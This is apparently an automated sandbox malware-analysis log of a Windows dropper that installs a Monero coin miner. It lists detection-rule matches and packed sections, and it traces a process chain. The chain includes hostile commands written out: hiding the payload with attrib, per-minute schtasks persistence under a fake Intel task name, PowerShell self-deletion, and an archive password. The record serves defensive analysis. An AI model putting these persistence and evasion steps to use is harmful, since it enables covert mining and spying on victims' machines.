Source: 35.3.Intel_PTT_EK_Recertification.exe.1a359520000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000023.00000003.3056598633.000001A359520000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: random[1].exe.6.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: 716b31b09e.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9950706845238095
Source: 716b31b09e.exe.6.dr	Static PE information: Section: fsrfimey ZLIB complexity 0.9949264117406195
Source: random[2].exe.6.dr	Static PE information: Section: rfhqlpdr ZLIB complexity 0.9946009014764339
Source: 2c937c98d4.exe.6.dr	Static PE information: Section: rfhqlpdr ZLIB complexity 0.9946009014764339
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9944541339944649
Source: random[1].exe0.6.dr	Static PE information: Section: lxqcqhrl ZLIB complexity 0.992424155181309
Source: c7d5db0fd9.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: c7d5db0fd9.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 2ab65296fe.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9944541339944649
Source: 2ab65296fe.exe.6.dr	Static PE information: Section: lxqcqhrl ZLIB complexity 0.992424155181309
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9973779965753424
Source: random[1].exe1.6.dr	Static PE information: Section: vpedfbia ZLIB complexity 0.9946712698889223
Source: c1be3b2878.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973779965753424
Source: c1be3b2878.exe.6.dr	Static PE information: Section: vpedfbia ZLIB complexity 0.9946712698889223

Source: 2ab65296fe.exe, 00000007.00000003.2789017684.00000000000D9000.00000040.00000001.01000000.0000000A.sdmp, 2ab65296fe.exe, 00000007.00000003.2776863109.00000000048C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 2ab65296fe.exe, 00000007.00000003.2789017684.00000000000D9000.00000040.00000001.01000000.0000000A.sdmp, 2ab65296fe.exe, 00000007.00000003.2776863109.00000000048C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@70/44@28/10

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:408:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe

Virustotal: Detection: 56%

Source: 2ab65296fe.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe "C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe"
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 672
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe "C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe "C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe"
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe "C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe "C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe "C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe"
Source: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe "C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe "C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe "C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe "C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe "C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe "C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
